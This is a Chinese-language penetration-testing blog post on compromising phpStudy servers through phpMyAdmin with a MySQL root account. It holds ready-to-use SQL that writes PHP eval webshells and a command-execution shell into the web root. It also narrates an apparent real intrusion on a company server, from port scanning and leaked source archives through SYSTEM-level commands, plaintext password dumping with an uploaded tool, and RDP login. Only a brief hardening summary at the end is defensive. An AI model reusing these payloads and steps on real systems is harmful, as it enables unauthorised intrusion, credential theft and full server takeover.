Simeon
Phpmyadmin是一款著名的mysql在线管理系统,通过提供的mysql数据库用户账号和密码对所管理的数据库实施各种操作。在渗透过程中,一旦获取其mysql账号和对应的密码,轻者获取其账号所管理数据库,重者可以配合其它漏洞获取webshell权限和系统权限。在前面的专题中,分别介绍了phpmyadmin网站真实路径信息获取、批量获取phpmyadmin信息、phpmyadmin root账号暴力破解、以及利用mysql root帐号获取某linux操作系统网站webshell。本案例的环境是某公司网站采用phpstudy架构,在安装phpstudy程序后,如果未进行加固和安全设置不严格极易被获取系统权限。下面就其root账号获取以及phpmyadmin的利用、如何导出webshell等进行探讨。
4.1Mysql root账号密码获取思路
据笔者经验可以有以下几个方法来获取root账号密码:
1.暴力破解
使用phpMyadmin暴力破解工具,收集常见的top 100password即可,其中可以添加root、cdlinux密码,用户名以admin和root为主。
2.源代码泄露获取
很多流行架构在Windows及Linux中都会有目录泄露漏洞,通过目录泄露漏洞可以发现源代码打包文件,从打包文件中去寻找数据库配置文件,建议搜索关键字config、db等。
3.备份文件
在有的CMS系统中,对config.inc.php以及config.php等数据库配置文件进行编辑时,有可能直接生成bak文件,这些文件可以直接读取和下载。
4.其它方法获取
4.2Mysql root账号webshell获取思路
1.直接读取后门文件
通过程序报错、phpinfo函数、程序配置表等直接获取网站真实路径,有些网站前期已经被人渗透过,因此在目录下留有后门文件通过load_file直接读取。
2.导出一句话后门
导出一句话后门主要有下面三种,第二种最快捷,最方便。
(1)创建表方式
CREATE TABLE mysql
.darkmoon
(darkmoon1
TEXT NOT NULL );
INSERT INTO mysql
.darkmoon
(darkmoon1
) VALUES (’<?php @eval($_POST[antian365.com]);?>’);
SELECT darkmoon1
FROM darkmoon
INTO OUTFILE ‘d:/www/antian365.php’;
DROP TABLE IF EXISTS darkmoon
;
上面代码是在mysql数据库中创建darkmoon表,然后加入一个名字为darkmoon1的字段,并在darkmoon1的字段中插入一句话代码,然后从darkmoon1字段里面导出一句话到网站的真实路径“d:/www/”,最后就是删除darkmoon这个表。
注意:在使用以上代码时必须选择mysql数据库,并在phpMyAdmin中选择SQL,然后执行以上代码即可。需要修改的地方是网站的真实路径和文件名称“d:/www/antian365.php”
(2)直接导出一句话后门文件
select '<?php @eval($_POST[pass]);?>'INTO OUTFILE ‘d:/www/p.php’
如果显示结果类似“您的 SQL 语句已成功运行 ( 查询花费 0.0006 秒 )”表明后门文件生成成功。
(3)直接执行命令权限的shell
select ‘<?php echo \'
\';system($_GET[\'cmd\']); echo \'\'; ?>’ INTO OUTFILE ‘d:/www/antian365.php’
该方法导出成功后可以直接执行DOS命令,使用方法:www.xxx.com/cmd.php?cmd=(cmd=后面直接执行dos命令)。
3.如果无phpmyadmin以及root账号则可以通过暴力破解一句话后门。
有些网站可能前期被渗透过,网站可能有webshell,特别是一句话后门,如果有后门则可以通过一句话后门暴力破解获取。
4.CMS系统获取webshell
有些情况下无法获取网站的真实路径,则意味着无法直接导出一句话webshell,可以通过CMS系统管理账号登录系统后,寻找漏洞来突破,例如dedecms则可以通过破解管理员账号后直接上传文件来获取webshell。Discuz!的UC_key可以直接获取webshell。
4.3phpstudy架构常见漏洞
在本例中采取的架构是phpstudy,该架构直接下载安装即可,其下载地址: http://www.phpstudy.net/phpstudy/phpStudy20161103.zip,程序默认会选择D盘,常见安装路径为C:/WWW和D:/WWW,默认账号密码为root,也即root账号和root密码。在其根目录默认会存在p.php、1.php、t.php和phpinfo.php,搜索关键字“phpStudy”即可找到很多这种配置的站点。
4.4实际利用的实例
1对IP地址进行域名反查
将该IP在域名反查网站中进行查询,如图1所示,显示该IP存在1个网站。
![在这里插入图片描述](https://img-blog.csdnimg.cn/20181208210200234.jpg)
图2域名反查
2.对IP所在端口进行全端口扫描
在Nmap中输入IP地址,选择“Intense scan,all Tcp port”,扫描结果显示该IP开放了135、1026、3306、3389、80等端口,详细端口开放情况如图2所示,在实际渗透过程中可以在浏览器中对逐个端口进行一一访问,当然一些比较明显的端口就不用测试了。有些服务器为了提供多个服务,有时候会开放多个端口,端口越多意味着可以利用的漏洞也就越多。
![在这里插入图片描述](https://img-blog.csdnimg.cn/20181208210206438.jpg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDAyMzQ2MA==,size_16,color_FFFFFF,t_70)
图2端口开放情况
3.对网站IP进行访问
在浏览器中直接输入该IP进行访问,发下该IP下存在phpmyadmin目录、源代码、数据库备份文件等,如图3所示。其中可下载文件列表:
http://59.xx.xxx.194/anqi.zip
http://59.xx.xxx.194/anqi1.zip
http://59.xx.xxx.194/phpinfo.php
http://59.xx.xxx.194/phpMyAdmin
http://59.xx.xxx.194/masck.php.php
图3 服务器所在IP存在目录泄露等漏洞
4.获取数据库口令及网站正式路径
下载网站泄露的压缩文件,下载文件后将压缩文件进行解压,然后寻找数据库配置文件。在其中获取其账号和密码均为root,为phpstudy常见漏洞。通过phpinfo.php获取其真实路径,如图4所示。
图4获取网站正式物理路径
5.登录phpmyadmin
使用root账号及密码root进行登录,如图5所示成功登录,使用mysql数据库,进行查询select @@datadir获取phpstudy安装程序以及mysql的数据库数据保存目录C:\phpStudy\MySQL\data\
图5登录phpmyadmin并查询
6.获取一句话后门密码
使用select load_file(‘c:/www/masck.php.php’);获取网页masck.php.php的内容,注意windows下使用load_file可以直接查看文件内容,linux需要进行编码转换,在前面的专题中进行过介绍,此处不赘述。如图6所示获取文件内容如下:<?php @eval($_POST[11])?>\n,可以使用中国菜刀一句话后门管理工具进行连接。
图6获取一句话后门文件内容
7.导出一句话后门
在SQL中直接执行select '<?php @eval($_POST[pass]);?>'INTO OUTFILE ‘d:/www/p.php’,如图7所示,成功将该内容导出为一句话后门。如果前面获取的文件内容如果不是一句话后门,则需要自己导出。
图7导出一句话后门
8.服务器提权
(1)查看当前权限
通过中国菜刀队远程终端命令,直接在其中执行命令,执行“whoami”命令显示为系统权限,使用“ipconfig/all”命令查看网络配置。如图8所示。
图8查看当前权限
(2)获取系统密码
由于已经是系统权限,则不需要利用0day进行提权,直接上传g64.exe并执行“g64 -w”获取当前登录明文密码,如图9所示,直接获取wdigest后的字符串即为明文密码。
图9获取系统密码
(3)登录3389
在本地打开mstsc.exe直接输入用户名和密码进行登录,如图10所示成功登录该服务器。
图10成功登录该服务器
11.总结与讨论
Phpstudy架构提供了极大的方便,将各种配置简化,一键式安装,在安装配置结束后,需要对代码和数据库密码进行修改。如本例中,将root账号密码修改为一个复杂的密码,禁止远程登录mysql,并将源代码打包备份文件复制到其它目录,去掉phpinfo配置文件,将大大降低其系统被渗透到可能性。本次渗透该网站总共时间不超过1分钟,可以算是“秒获”,使用公开架构配置网站一定要注意源代码泄露、目录泄露以及文件信息泄露等常见问题。
更多攻防内容请欢迎访问本人在csdn上面创造的个人专栏:
《密码安全攻防技术精讲》:https://gitbook.cn/gitchat/column/5afbf24f753289354cab7983